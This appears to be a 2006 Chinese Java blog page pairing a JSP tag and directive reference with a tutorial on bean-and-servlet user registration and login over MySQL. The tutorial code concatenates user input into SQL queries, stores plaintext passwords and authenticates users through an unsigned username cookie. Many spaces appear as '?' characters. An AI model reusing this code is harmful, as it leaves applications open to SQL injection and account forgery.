<%=?(new?java.util.Date()?).toLocaleString()?%>?


Displays?in?the?page:?
The?current?date?and?time?are?
Aug?30,?1999?2:38:40?

描述
<%@include?%>指令將會在JSP編譯時插入一個包含文本或代碼的文件,當你使用<%@?include?%>指命時,這個包含的過程就當是靜態的。靜態的包含就是指這個被包含的文件將會被插入到JSP文件中去,這個包含的文件可以是JSP文件,HTML文件,文本文件。如果包含的是JSP文件,這個包含的JSP的文件中代碼將會被執行。?

如果你僅僅只是用include?來包含一個靜態文件。那么這個包含的文件所執行的結果將會插入到JSP文件中放<%?@?include?%>的地方。一旦包含文件被執行,那么主JSP文件的過程將會被恢復,繼續執行下一行.?

這個被包含文件可以是html文件,jsp文件,文本文件,或者只是一段Java代碼,但是你得注意在這個包含文件中不能使用<html>,</html>,<body>,</body>標記,因為這將會影響在原JSP文件中同樣的標記?,這樣做有時會導致錯誤.?

有一些<%@?include?%>指命的行為是以特殊的JSP編譯條件為基礎,比如:?

這個被包含的文件必須對所有客戶都有開放且必須f有效,或者它有安全限制?
如果這個包含文件被改變,包含此文件的JSP文件將被重新編譯?
屬性:
file="relativeURL"
這個包含文件的路徑名一般來說是指相對路徑,不需要什么端口,協議,和域名,如下:?

"error.jsp""templates/onlinestore.html""/beans/calendar.jsp"?

如果這個路徑以"/"開頭,那么這個路徑主要是參照JSP應用的上下關系路徑,如果路徑是以文件名或目錄名開頭,那么這個路徑就是正在使用的JSP文件的當前路徑.


Page?指令


定義JSP文件中的全局屬性.?

JSP?語法
<%@?page?
[?language="java"?]?
[?extends="package.class"?]?
[?import="{package.class?|?package.*},?..."?]?
[?session="true?|?false"?]?
[?buffer="none?|?8kb?|?sizekb"?]?
[?autoFlush="true?|?false"?]?
[?isThreadSafe="true?|?false"?]?
[?info="text"?]?
[?errorPage="relativeURL"?]?
[?contentType="mimeType?[?;charset=characterSet?]"?|?"text/html?;?charset=ISO-8859-1"?]?
[?isErrorPage="true?|?false"?]?
%>?
例子
<%@?page?import="java.util.*,?java.lang.*"?%>?
<%@?page?buffer="5kb"?autoFlush="false"?%>?
<%@?page?errorPage="error.jsp"?%>?
描述
<%@?page?%>指令作用于整個JSP頁面,同樣包括靜態的包含文件。但是<%?@?page?%>指令不能作用于動態的包含文件,比如?<jsp:include>?

你可以在一個頁面中用上多個<%?@?page?%>指令,但是其中的屬性只能用一次,不過也有個例外,那就是import屬性。因為import屬性和Java中的import語句差不多(參照Java?Language),所以你就能多用此屬性幾次了.?

無論你把<%?@?page?%>指令放在JSP的文件的哪個地方,它的作用范圍都是整個JSP頁面。不過,為了JSP程序的可讀性,以及好的編程習慣,最好還是把它放在JSP文件的頂部.?

屬性
language="java"
聲明腳本語言的種類,暫時只能用"java"?

extends="package.class"
標明JSP編譯時需要加入的Java?Class的全名,但是得慎重的使用它,它會限制JSP的編譯能力.?

import="{package.class?|?package.*?},?..."
需要導入的Java包的列表,這些包就作用于程序段,表達式,以及聲明。?

下面的包在JSP編譯時已經導入了,所以你就不需要再指明了:?

java.lang.*?
javax.servlet.*?
javax.servlet.jsp.*?
javax.servlet.http.*?

session="true?|?false"
設定客戶是否需要HTTP?Session.(學過ASP的人,應該對它不陌生)如果它為true,那么Session是有用的。?

如果它有false,那么你就不能使用session對象,以及定義了scope=session的<jsp:useBean>元素。這樣的使用會導致錯誤.?

缺省值是true.?

buffer="none?|?8kb?|?sizekb"
buffer的大小被out對象用于處理執行后的JSP對客戶瀏覽器的輸出。缺省值是8kb?

autoFlush="true?|?false"
設置如果buffer溢出,是否需要強制輸出,如果其值被定義為true(缺省值),輸出正常,如果它被設置為false,如果這個buffer溢出,就會導致一個意外錯誤的發生.如果你把buffer設置為none,那么你就不能把autoFlush設置為false.?

isThreadSafe="true?|?false"
設置Jsp文件是否能多線程使用。缺省值是true,也就是說,JSP能夠同時處理多個用戶的請求,如果設置為false,一個jsp只能一次處理一個請求?

info="text"
一個文本在執行JSP將會被逐字加入JSP中,你能夠使用Servlet.getServletInfo方法取回。?

errorPage="relativeURL"
設置處理異常事件的JSP文件。?

isErrorPage="true?|?false"
設置此頁是否為出錯頁,如果被設置為true,你就能使用exception對象.?

contentType="mimeType?[?;charset=characterSet?]"?|?"text/html;charset=ISO-8859-1"
設置MIME類型?。缺省MIME?類型是:?text/html,?缺省字符集為?ISO-8859-1.


<jsp:forward>


重定向一個HTML文件,JSP文件,或者是一個程序段.?

JSP?語法
<jsp:forward?page={"relativeURL"?|?"<%=?expression?%>"}?/>?
or?
<jsp:forward?page={"relativeURL"?|?"<%=?expression?%>"}?>?
<jsp:param?name="parameterName"?
value="{parameterValue?|?<%=?expression?%>}"?/>+?
</jsp:forward>?
例子
<jsp:forward?page="/servlet/login"?/>?
<jsp:forward?page="/servlet/login">?
<jsp:param?name="username"?value="jsmith"?/>?
</jsp:forward>?
描述
<jsp:forward>標簽從一個JSP文件向另一個文件傳遞一個包含用戶請求的request對象.<jsp:forward>標簽以下的代碼,將不能執行.?

你能夠向目標文件傳送參數和值,在這個例子中我們傳遞的參數名為username,值為scott,如果你使用了<jsp:param>標簽的話,目標文件必須是一個動態的文件,能夠處理參數.?

如果你使用了非緩沖輸出的話,那么使用<jsp:forward>時就要小心。如果在你使用<jsp:forward>之前,jsp文件已經有了數據,那么文件執行就會出錯.?

屬性
page="{relativeURL?|?<%=?expression?%>}"
這里是一個表達式或是一個字符串用于說明你將要定向的文件或URL.這個文件可以是JSP,程序段,或者其它能夠處理request對象的文件(如asp,cgi,php).?

<jsp:param?name="parameterName"?value="{parameterValue?|?<%=?expression?%>}"?/>+
向一個動態文件發送一個或多個參數,這個文件一定是動態文件.?

如果你想傳遞多個參數,你可以在一個JSP文件中使用多個<jsp:param>。name指定參數名,value指定參數值.


<jsp:getProperty>


獲取Bean的屬性值,用于顯示在頁面中?

JSP?語法
<jsp:getProperty?name="beanInstanceName"?property="propertyName"?/>?
例子
<jsp:useBean?id="calendar"?scope="page"?class="employee.Calendar"?/>?
<h2>?
Calendar?of?<jsp:getProperty?name="calendar"?property="username"?/>?
</h2>?
描述
這個<jsp:getProperty>元素將獲得Bean的屬性值,并可以將其使用或顯示在JSP頁面中.在你使用<jsp:getProperty>之前,你必須用<jsp:useBean>創建它.?

<jsp:getProperty>元素有一些限制:?

你不能使用<jsp:getProperty>來檢索一個已經被索引了的屬性?
你能夠和JavaBeans組件一起使用<jsp:getProperty>,但是不能與Enterprise?Bean一起使用。?
屬性
name="beanInstanceName"
bean的名字,由<jsp:useBean>指定?

property="propertyName"
所指定的Bean的屬性名。?

技巧:
在sun的JSP參考中提到,如果你使用<jsp:getProperty>來檢索的值是空值,那么NullPointerException將會出現,同時如果使用程序段或表達式來檢索其值,那么在瀏覽器上出現的是null(空).


<jsp:include>


包含一個靜態或動態文件.?

JSP?語法
<jsp:include?page="{relativeURL?|?<%=?expression%>}"?flush="true"?/>?
or?
<jsp:include?page="{relativeURL?|?<%=?expression?%>}"?flush="true"?>?
<jsp:param?name="parameterName"?value="{parameterValue?|?<%=?expression?%>}"?/>+?
</jsp:include>?
Examples
<jsp:include?page="scripts/login.jsp"?/>?
<jsp:include?page="copyright.html"?/>?
<jsp:include?page="/index.html"?/>?
<jsp:include?page="scripts/login.jsp">?
<jsp:param?name="username"?value="jsmith"?/>?
</jsp:include>?

描述
<jsp:include>元素允許你包含動態文件和靜態,這兩種包含文件的結果是不同的。如果文件僅是靜態文件,那么這種包含僅僅是把包含文件的內容加到jsp文件中去,而如果這個文件動態的,那么這個被包含文件也會被Jsp編譯器執行(這一切與asp相似)?

你不能從文件名上判斷一個文件是動態的還是靜態的,比如aspcn.asp?就有可能只是包含一些信息而已,而不需要執行。<jsp:include>能夠同時處理這兩種文件,因此你就不需要包含時還要判斷此文件是動態的還是靜態的.?

如果這個包含文件是動態的,那么你還可以用<jsp:param>還傳遞參數名和參數值。?

屬性
page="{relativeURL?|?<%=?expression?%>}"
參數為一相對路徑,或者是代表相對路徑的表達式.?

flush="true"
這里你必須使用flush="true",你不能使用false值.缺省值為false?

<jsp:param?name="parameterName"?value="{parameterValue?|?<%=?expression?%>?}"?/>+
<jsp:param>子句能讓你傳遞一個或多個參數給動態文件?

你能在一個頁面中使用多個<jsp:param>來傳遞多個參數,


<jsp:plugin>


執行一個applet或Bean,有可能的話還要下載一個Java插件用于執行它.?

JSP?語法
<jsp:plugin?
type="bean?|?applet"?
code="classFileName"?
codebase="classFileDirectoryName"?
[?name="instanceName"?]?
[?archive="URIToArchive,?..."?]?
[?align="bottom?|?top?|?middle?|?left?|?right"?]?
[?height="displayPixels"?]?
[?width="displayPixels"?]?
[?hspace="leftRightPixels"?]?
[?vspace="topBottomPixels"?]?
[?jreversion="JREVersionNumber?|?1.1"?]?
[?nspluginurl="URLToPlugin"?]?
[?iepluginurl="URLToPlugin"?]?>?
[?<jsp:params>?
[?<jsp:param?name="parameterName"?value="{parameterValue?|?<%=?expression?%>}"?/>?]+?
</jsp:params>?]?

[?<jsp:fallback>?text?message?for?user?</jsp:fallback>?]?

</jsp:plugin>?

例子
<jsp:plugin?type=applet?code="Molecule.class"?codebase="/html">?
<jsp:params>?
<jsp:param?name="molecule"?value="molecules/benzene.mol"?/>?
</jsp:params>?
<jsp:fallback>?
<p>Unable?to?load?applet</p>?
</jsp:fallback>?
</jsp:plugin>?
描述
<jsp:plugin>元素用于在瀏覽器中播放或顯示一個對象(典型的就是applet和Bean),而這種顯示需要在瀏覽器的java插件。?

當Jsp文件被編譯,送往瀏覽器時,<jsp:plugin>元素將會根據瀏覽器的版本替換成<object>或者<embed>元素。注意,<object>用于HTML?4.0?,<embed>用于HTML?3.2.?

一般來說,<jsp:plugin>元素會指定對象是Applet還是Bean,同樣也會指定class的名字,還有位置,另外還會指定將從哪里下載這個Java插件。具體如下:?

屬性
type="bean?|?applet"
.將被執行的插件對象的類型,你必須得指定這個是Bean還是applet,因為這個屬性沒有缺省值.?

code="classFileName"
將會被Java插件執行的Java?Class的名字,必須以.class結尾。這個文件必須存在于codebase屬性指定的目錄中.?

codebase="classFileDirectoryName"
將會被執行的Java?Class文件的目錄(或者是路徑),如果你沒有提供此屬性,那么使用<jsp:plugin>的jsp文件的目錄將會被使用.?

name="instanceName"
這個Bean或applet實例的名字,它將會在Jsp其它的地方調用.?

archive="URIToArchive,?..."
一些由逗號分開的路徑名,這些路徑名用于預裝一些將要使用的class,這會提高applet的性能.?

align="bottom?|?top?|?middle?|?left?|?right"
圖形,對象,Applet的位置,有以下值:?

bottom?
top?
middle?
left?
right?
height="displayPixels"?width="displayPixels"
Applet或Bean將要顯示的長寬的值,此值為數字,單位為象素.?

hspace="leftRightPixels"?vspace="topBottomPixels"
Applet或Bean顯示時在屏幕左右,上下所需留下的空間,單位為象素.?

jreversion="JREVersionNumber?|?1.1"?
Applet或Bean運行所需的Java?Runtime?Environment?(JRE)?的版本.?缺省值是?1.1.?

nspluginurl="URLToPlugin"?
Netscape?Navigator用戶能夠使用的JRE的下載地址,此值為一個標準的URL,如http://www.aspcn.com/jsp?

iepluginurl="URLToPlugin"
IE用戶能夠使用的JRE的下載地址,此值為一個標準的URL,如http://www.aspcn.com/jsp?

<jsp:params>?[?<jsp:param?name="parameterName"?value="{parameterValue?|?<%=?expression?%>}"?/>?]+?</jsp:params>
你需要向applet或Bean傳送的參數或參數值。?

<jsp:fallback>?text?message?for?user?</jsp:fallback>
一段文字用于Java?插件不能啟動時顯示給用戶的,如果插件能夠啟動而applet或Bean不能,那么瀏覽器會有一個出錯信息彈出.


<jsp:setProperty>


設置Bean中的屬性值.?

JSP語法
<jsp:setProperty?
name="beanInstanceName"?
{?
property=?"*"?|?
property="propertyName"?[?param="parameterName"?]?|?
property="propertyName"?value="{string?|?<%=?expression?%>}"?
}?
/>?
例子
<jsp:setProperty?name="mybean"?property="*"?/>?
<jsp:setProperty?name="mybean"?property="username"?/>?
<jsp:setProperty?name="mybean"?property="username"?value="Steve"?/>?
描述
<jsp:setProperty>元素使用Bean給定的setter方法,在Bean中設置一個或多個屬性值。你在使用這個元素之前必須得使用<jsp:useBean>聲明此Bean.因為,<jsp:useBean>和<jsp:setProperty>是聯系在一起的,同時這他們使用的Bean實例的名字也應當相匹配(就是說,在<jsp:setProperty>中的name的值應當和<jsp:useBean>中id的值相同)?

你能使用多種方法利用<jsp:setProperty>來設定屬性值?:?

通過用戶輸入的所有值(被做為參數儲存中request對象中)來匹配Bean中的屬性?
通過用戶輸入的指定的值來匹配Bean中指定的屬性?
在運行時使用一個表達式來匹配Bean的屬性?
每一種設定屬性值的方法都有其特定的語法,下面我們會來講解?

屬性及其用法
name="beanInstanceName"
表示已經在<jsp:useBean>中創建的Bean實例的名字.?

property="*"
儲存用戶在Jsp輸入的所有值,用于匹配Bean中的屬性。在Bean中的屬性的名字必須和request對象中的參數名一致.?

從客戶傳到服器上的參數值一般都是字符類型?,這些字符串為了能夠在Bean中匹配就必須轉換成其它的類型,下面的表中列出了Bean屬性的類型以及他們的轉換方法.

把字符串轉化為其它類型的方法.?Property?類型?
方法?
boolean?or?Boolean?
java.lang.Boolean.valueOf(String)?
byte?or?Byte?
java.lang.Byte.valueOf(String)?
char?or?Character?
java.lang.Character.valueOf(String)?
double?or?Double?
java.lang.Double.valueOf(String)?
integer?or?Integer?
java.lang.Integer.valueOf(String)?
float?or?Float?
java.lang.Float.valueOf(String)?
long?or?Long?
java.lang.Long.valueOf(String)?

如果request對象的參數值中有空值,那么對應的Bean屬性將不會設定任何值。同樣的,如果Bean中有一個屬性沒有與之對應的Request參數值,那么這個屬性同樣也不會設定.?

property="propertyName"?[?param="parameterName"?]
使用request中的一個參數值來指定Bean中的一個屬性值。在這個語法中,property指定Bean的屬性名,param指定request中的參數名.?

如果bean屬性和request參數的名字不同,那么你就必須得指定property和param?,如果他們同名,那么你就只需要指明property就行了.?

如查參數值為空(或未初始化),對應的Bean屬性不被設定.?

property="propertyName"?value="{string?|?<%=?expression?%>}"
使用指定的值來設定Bean屬性。這個值可以是字符串,也可以是表達式。如果這個字符串,那么它就會被轉換成Bean屬性的類型(查看上面的表).如果它是一個表達式,那么它類型就必須和它將要設定的屬性值的類型一致。?

如果參數值為空,那么對應的屬性值也不會被設定。另外,你不能在一個<jsp:setProperty>中同時使用param和value?

技巧
如果你使用了property="*",那么Bean的屬性沒有必要按Html表單中的順序排序?


<jsp:useBean>


創建一個Bean實例并指定它的名字和作用范圍.?

JSP?語法
<jsp:useBean?
id="beanInstanceName"?
scope="page?|?request?|?session?|?application"?
{?
class="package.class"?|?
type="package.class"?|?
class="package.class"?type="package.class"?|?
beanName="{package.class?|?<%=?expression?%>}"?type="package.class"?
}?
{?
/>?|?
>?other?elements?</jsp:useBean>?
}?
例子
<jsp:useBean?id="cart"?scope="session"?class="session.Carts"?/>?
<jsp:setProperty?name="cart"?property="*"?/>?
<jsp:useBean?id="checking"?scope="session"?class="bank.Checking"?>?
<jsp:setProperty?name="checking"?property="balance"?value="0.0"?/>?
</jsp:useBean>?

描述
<jsp:useBean>用于定位或示例一個JavaBeans組件。<jsp:useBean>首先會試圖定位一個Bean實例,如果這個Bean不存在,那么<jsp:useBean>就會從一個class或模版中進行示例。?

為了定位或示例一個Bean,<jsp:useBean>會進行以下步聚,順序如下:?

通過給定名字和范圍試圖定位一個Bean.?
對這個Bean對象引用變量以你指定的名字命名.?
如果發現了這個Bean,將會在這個變量中儲存這個引用。如果你也指定了類型,那么這個Bean也設置為相應的類型.?
如果沒有發現這個Bean,將會從你指定的class中示例,并將此引用儲存到一個新的變量中去。如果這個class的名字代表的是一個模版,那么這個Bean被java.beans.Beans.instantiate示例.?
如果<jsp:useBean>已經示例(不是定位)了Bean,同時<jsp:useBean>和</jsp:useBean>中有元素,那么將會執行其中的代碼.?
<jsp:useBean>元素的主體通常包含有<jsp:setProperty>元素,用于設置Bean的屬性值。正如上面第五步所說的,<jsp:useBean>的主體僅僅只有在<jsp:useBean>示例Bean時才會被執行,如果這個Bean已經存在,<jsp:useBean>能夠定位它,那么主體中的內容將不會起作用?

屬性以及用法
id="beanInstanceName"
在你所定義的范圍中確認Bean的變量,你能在后面的程序中使用此變量名來分辨不同的Bean?

這個變量名對大小寫敏感,必須符合你所使用的腳本語言的規定,在Java?Programming?Language中,這個規定在Java?Language?規范已經寫明。如果這個Bean已經在別的<jsp:useBean>中創建,那么這個id的值必須與原來的那個id值一致.?

scope="page?|?request?|?session?|?application"
Bean存在的范圍以及id變量名的有效范圍。缺省值是page,以下是詳細說明:?

page?-?你能在包含<jsp:useBean>元素的JSP文件以及此文件中的所有靜態包含文件中使用Bean,直到頁面執行完畢向客戶端發回響應或轉到另一個文件為止。
???
request?-?你在任何執行相同請求的Jsp文件中使用Bean,直到頁面執行完畢向客戶端發回響應或轉到另一個文件為止。你能夠使用Request對象訪問Bean,比如request.getAttribute(beanInstanceName)

session?-?從創建Bean開始,你就能在任何使用相同session的Jsp文件中使用Bean.這個Bean存在于整個Session生存周期內,任何在分享此Session的Jsp文件都能使用同一Bean.注意在你創建Bean的Jsp文件中<%?@?page?%>指令中必須指定session=true

application?-?從創建Bean開始,你就能在任何使用相同application的Jsp文件中使用Bean.這個Bean存在于整個application生存周期內,任何在分享此application的Jsp文件都能使用同一Bean.?
class="package.class"
使用new關鍵字以及class構造器從一個class中示例一個bean.這個class不能是抽象的,必須有一個公用的,沒有參數的構造器.這個package的名字區別大小寫。?

type="package.class"
如果這個Bean已經在指定的范圍中存在,那么寫這個Bean一個新的數據庫類型?。如果你沒有使用class或beanName指定type,Bean將不會被示例.package和class的名字,區分大小寫.?

beanName="{package.class?|?<%=?expression?%>}"?type="package.class"
使用java.beans.Beans.instantiate方法來從一個class或連續模版中示例一個Bean,同時指定Bean的類型。?

beanName可以是package和class也可以是表達式,它的值會傳給Beans.instantiate.tupe的值可以和Bean相同。?

package?和?class?名字區分大小寫.

JAVA之路 2006-05-10 22:51 發表評論
]]>
jsp中用bean和servlet聯合實現用戶注冊、登錄http://www.tkk7.com/xixidabao/archive/2006/05/01/44291.htmlJAVA之路JAVA之路Mon, 01 May 2006 09:32:00 GMThttp://www.tkk7.com/xixidabao/archive/2006/05/01/44291.html


本例需要的軟件和運行環境:
1、Windows2000 Server操作系統
2、jdk1.4
3、JCreator2.5(java.net" class="wordstyle">源碼編輯調試器,吐血推薦!)
4、Macromedia JRun MX
5、Macromedia Dreamweaver MX(非必需)
6、MySQL數據庫(最好安裝MySQL Control Center)

一、數據庫設計
用MySQL Control Center打開MySQL數據庫,新建數據庫shopping,在其下新建表tbl_user,其中各字段設置如下:


二、編寫連接數據庫bean:DBConn.java


//DBConn.java

//include required classes
import java.sql.*;

//==========================================
// Define Class DBConn
//==========================================
public class DBConn
{
?public String sql_driver = "org.gjt.mm.mysql.Driver";
?public String sql_url = "jdbc:mysql://localhost:3306";
?public String sql_DBName = "shopping";
?public String user = "sa";
?public String pwd = "";

?Connection conn = null;
?Statement stmt = null;
?ResultSet rs = null;

?public boolean setDriver(String drv)
?{
? this.sql_driver = drv;
? return true;
?}

?public String getDriver()
?{
? return this.sql_driver;
?}

?public boolean setUrl(String url)
?{
? this.sql_url = url;
? return true;
?}

?public boolean setDBName(String dbname)
?{
? this.sql_DBName = dbname;
? return true;
?}

?public String getDBName()
?{
? return this.sql_DBName;
?}

?public boolean setUser(String user)
?{
? this.user = user;
? return true;
?}

?public String getUser()
?{
? return this.user;
?}

?public boolean setPwd(String pwd)
?{
? this.pwd = pwd;
? return true;
?}

?public String getPwd()
?{
? return this.pwd;
?}

?public DBConn()
?{
? try{
?? Class.forName(sql_driver);//加載數據庫驅動程序
?? this.conn = DriverManager.getConnection(sql_url + "/" + sql_DBName + "?user=" + user + "&password=" + pwd + "&useUnicode=true&characterEncoding=gb2312");
?? this.stmt = this.conn.createStatement();
? }catch(Exception e){
?? System.out.println(e.toString());
? }
?}

??????????????? //執行查詢操作
?public ResultSet executeQuery(String strSql)
?{
? try{
?? this.rs = stmt.executeQuery(strSql);
?? return this.rs;
? }catch(SQLException e){
?? System.out.println(e.toString());
?? return null;
? }catch(NullPointerException e){
?? System.out.println(e.toString());
?? return null;
? }
?}

??????????????? //執行數據的插入、刪除、修改操作
?public boolean execute(String strSql)
?{
? try{
?? if(this.stmt.executeUpdate(strSql) == 0)
??? return false;
?? else
??? return true;
? }catch(SQLException e){
?? System.out.println(e.toString());
?? return false;
? }catch(NullPointerException e){
?? System.out.println(e.toString());
?? return false;
? }
?}

??????????????? //結果集指針跳轉到某一行
?public boolean rs_absolute(int row)
?{
? try{
?? this.rs.absolute(row);
?? return true;
? }catch(SQLException e){
?? System.out.println(e.toString());
?? return false;
? }
?}

?public void rs_afterLast()
?{
? try{
?? this.rs.afterLast();
? }catch(SQLException e){
?? System.out.println(e.toString());
? }
?}

?public void rs_beforeFirst()
?{
? try{
?? this.rs.beforeFirst();
? }catch(SQLException e){
?? System.out.print(e.toString());
? }
?}

?public void rs_close()
?{
? try{
?? this.rs.close();
? }catch(SQLException e){
?? System.out.print(e.toString());
? }
?}

?public void rs_deleteRow()
?{
? try{
?? this.rs.deleteRow();
? }catch(SQLException e){
?? System.out.print(e.toString());
? }
?}

?public boolean rs_first()
?{
? try{
?? this.rs.first();
?? return true;
? }catch(SQLException e){
?? System.out.print(e.toString());
?? return false;
? }
?}

?public String rs_getString(String column)
?{
? try{
?? return this.rs.getString(column);
? }catch(SQLException e){
?? System.out.println(e.toString());
?? return null;
? }
?}

??????????????? //此方法用于獲取大段文本,
??????????????? //將其中的回車換行替換為<br>
??????????????? //輸出到html頁面
?public String rs_getHtmlString(String column)
?{
? try{
?? String str1 = this.rs.getString(column);
?? String str2 = "\r\n";
?? String str3 = "<br>";
?? return this.replaceAll(str1,str2,str3);
? }catch(SQLException e){
?? System.out.println(e.toString());
?? return null;
? }
?}
?
??????????????? //把str1字符串中的str2字符串替換為str3字符串
?private static String replaceAll(String str1,String str2,String str3)
?{
? StringBuffer strBuf = new StringBuffer(str1);
???? int index=0;
? while(str1.indexOf(str2,index)!=-1)
? {
?? index=str1.indexOf(str2,index);
?? strBuf.replace(str1.indexOf(str2,index),str1.indexOf(str2,index)+str2.length(),str3);
?? index=index+str3.length();

??? str1=strBuf.toString();
? }
? return strBuf.toString();
?}

?public int rs_getInt(String column)
?{
? try{
?? return this.rs.getInt(column);
? }catch(SQLException e){
?? System.out.println(e.toString());
?? return -1;
? }
?}

?public int rs_getInt(int column)
?{
? try{
?? return this.rs.getInt(column);
? }catch(SQLException e){
?? System.out.println(e.toString());
?? return -1;
? }
?}

?public boolean rs_next()
?{
? try{
?? return this.rs.next();
? }catch(SQLException e){
?? System.out.println(e.toString());
?? return false;
? }
?}

??????????????? //判斷結果集中是否有數據
?public boolean hasData()
?{
? try{
?? boolean has_Data = this.rs.first();??
?? this.rs.beforeFirst();
?? return has_Data;
? }catch(SQLException e){
?? System.out.println(e.toString());
?? return false;
? }
?}

?public boolean rs_last()
?{
? try{
?? return this.rs.last();
? }catch(SQLException e){
?? System.out.println(e.toString());
?? return false;
? }
?}

?public boolean rs_previous()
?{
? try{
?? return this.rs.previous();
? }catch(Exception e){
?? System.out.println(e.toString());
?? return false;
? }
?}

??????????????? //main方法,調試用
?public static void main(String args[])
?{
? try{
?? DBConn myconn = new DBConn();
?? //myconn.setDBName("shopping");
?? //myconn.DBConn();
?? //myconn.execute("Insert Into tbl_test(id,name) values('10','shandaer')");
?? //myconn.execute("Update tbl_test set name='yyyyyyyyyyyy' where id=10");
?? //myconn.execute("Delete from tbl_test where id=1");
?? ResultSet rs = myconn.executeQuery("select * from tbl_user order by id desc limit 1");
?? //boolean hasData = myconn.hasData();
?? //System.out.println("has data:" + hasData);
?? //rs.first();
?? while (myconn.rs.next())?
?? {
??? int id = myconn.rs_getInt("id") + 1;
??? System.out.print(id);
??? System.out.println(myconn.rs_getInt("id") + myconn.rs_getString("name"));
???
??? //System.out.println('\n' + myconn.rs_getHtmlString("name"));
??? //System.out.println(myconn.rs.getString("name") + myconn.rs_getInt(1));
?? }
? }catch(Exception e){
?? System.err.println(e.toString());
? }
?}
?
}

聲明:因為使用的是MySQL數據庫,所以需要MySQL數據庫的驅動
下載后請將org包放至DBConn.java所在目錄下
以確保該bean能正常運行

?

三、編寫用戶注冊的bean:reg.java


//reg.java

//import required classes
import java.sql.*;

public class reg
{
?public int newID = 0;
?public boolean result = false;
?public boolean reg(String username,String password,String confirm,String email)
?{
? try{
?? if(!this.checkUser(username))
??? return false;
?? if(!this.checkPwd(password))
??? return false;
?? if(!this.verifyPwd(password,confirm))
??? return false;
?? if(!this.checkEmail(email))
??? return false;
?? if(!this.userNotExit(username))
??? return false;
?? this.getNewID();?
?? this.result = this.register(username,password,confirm,email);
?? return this.result;
? }catch(Exception e){
?? System.out.println(e.toString());
?? return false;
? }
?}//End boolean reg
?
?public boolean checkUser(String user)
?{
? try{??
?? if(user.indexOf("'")!=-1)
?? {
??? System.out.println("姓名中含有非法字符!");
??? return false;
?? }else
??? return true;
? }catch(Exception e){
?? System.out.println(e.toString());
?? return false;
?? }
?}
?
?public boolean checkPwd(String pwd)
?{
? try{
?? if(pwd.indexOf("'")!=-1)
?? {
??? System.out.println("密碼中含有非法字符!");
??? return false;
?? }else
??? return true;
? }catch(Exception e){
?? System.out.println(e.toString());
?? return false;
? }
?}
?
?public boolean verifyPwd(String pwd,String confirm)
?{
? try{
?? if(!pwd.equals(confirm))
?? {
??? System.out.println("兩次輸入的密碼不一致!");
??? return false;
?? }else
??? return true;
? }catch(Exception e){
?? System.out.println(e.toString());
?? return false;
? }
?}
?
?public boolean checkEmail(String email)
?{
? try{
?? if(email.indexOf("'")!=-1)
?? {
??? System.out.println("E-mail中含有非法字符!");
??? return false;
?? }else
??? return true;
? }catch(Exception e){
?? System.out.println(e.toString());
?? return false;
? }
?}
?
?public boolean userNotExit(String user)
?{
? try{
?? DBConn userDBConn = new DBConn();
?? userDBConn.executeQuery("select * from tbl_user where name='" + user + "'");
?? if(userDBConn.rs_next())
?? {
??? System.out.println("用戶名已存在,請選擇其它的用戶名!");
??? return false;
?? }else
??? return true;
? }catch(Exception e){
?? System.out.println(e.toString());
?? return false;
?? }
?}
?
?public int getNewID()
?{
? try{
?? DBConn newIDDBConn = new DBConn();
?? newIDDBConn.executeQuery("select * from tbl_user order by id desc limit 1");
?? if(newIDDBConn.rs_next())
?? {
??? this.newID = newIDDBConn.rs_getInt("id") + 1;
??? System.out.println(this.newID);
?? }else{
??? this.newID = 1;
?? }
?? return this.newID;
? }catch(Exception e){
?? System.out.println(e.toString());
?? return -1;
?? }???
?}
?
?public int getID()
?{
? return this.newID;
?}
?
?public boolean register(String username,String password,String confirm,String email)
?{
? try{
?? DBConn regDBConn = new DBConn();
?? String strSQL = "insert into tbl_user(id,name,pwd,email) values('" + this.newID +"','" + username + "','" + password + "','" + email + "')";
?? regDBConn.execute(strSQL);
?? return true;
? }catch(Exception e){
?? System.out.println(e.toString());
?? return false;
?? }
?}

?public static void main(String args[])
?{
? try{
??
?? reg newreg = new reg();??
??
?? System.out.println(newreg.reg("sssssssss","ssssss","ssssss","imagebear@163.com"));
??
?? DBConn myconn = new DBConn();
?? myconn.executeQuery("select * from tbl_user");
?? while(myconn.rs_next())
?? {
??? System.out.println(myconn.rs_getInt("id") + "??? " + myconn.rs_getString("name") + "??? " + myconn.rs_getString("pwd") + "??? " + myconn.rs_getString("email"));
?? }
?? System.out.println(newreg.getID());
? }catch(Exception e){
?? System.err.println(e.toString());
? }
?}
};

說明:
1、該bean文件應和上文所述DBConn.class文件放于同一目錄下
2、本例主要研究注冊的過程,其中的Email檢測等方法并不完善,若要應用請自行設計方法

?


四、編寫用戶登陸的Servlet:login.java


//login.java

//import required classes
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.sql.*;

//class login
public class login extends HttpServlet
{
?public void doGet(HttpServletRequest req,HttpServletResponse res)
?throws IOException,ServletException
?{
? String username = req.getParameter("username");
? String password = req.getParameter("password");
? if(this.checklogin(username,password))
? {
?? Cookie mylogin = new Cookie("username",username);
?? mylogin.setVersion(1);
?? mylogin.setPath("/");
?? mylogin.setComment("Your login username");
?? res.addCookie(mylogin);
? }
? //Cookie[] myCookies = req.getCookies();
? //String nameValue = this.getCookieValue(myCookies,"username","not found");
? //PrintWriter out = res.getWriter();
? //out.println("username" + ":" + nameValue);
? //out.println("Test Cookie Success!");
? res.sendRedirect("/index.jsp");
?}
?
?public void doPost(HttpServletRequest req,HttpServletResponse res)
?throws IOException,ServletException
?{
? doGet(req,res);
?}
?
?public static String getCookieValue(Cookie[] cookies,String cookieName,String defaultValue)
?{
? for(int i=0;i<cookies.length;i++) {
? Cookie cookie = cookies[i];
? if (cookieName.equals(cookie.getName()))
? return(cookie.getValue());
?}
? return(defaultValue);
?}


?
?public boolean checklogin(String username,String password)
?{
? try{
?? DBConn loginConn = new DBConn();
?? loginConn.executeQuery("select * from tbl_user where name='" + username + "'");
?? if(loginConn.rs_next())
?? {
??? System.out.println("Connection created!");
??? if(loginConn.rs_getString("pwd").trim().equals(password))
??? {
???? System.out.println(loginConn.rs_getString("name"));
???? return true;
??? }
??? else
??? {
???? return false;
??? }
?? }
?? System.out.println("Test Login Success!");
?? return false;
? }catch(Exception e){
?? System.out.println(e.toString());
?? return false;
?? }
?}
?
?public static void main(String args[])
?{
? login mylogin = new login();
? System.out.println(mylogin.checklogin("shandong","shandong"));
?}
?
}

說明:
1、默認的jdk1.4中并沒有servlet包,請至sun公司網頁下載servlet.jar,放至jdk目錄下的jre\lib\目錄下,并在JCreator中設置jdk處添加servlet.jar包?

2、本Servlet用于檢驗用戶名和密碼,若正確則將用戶名寫入Cookie,完成后將當前頁重定向到index.jsp

?


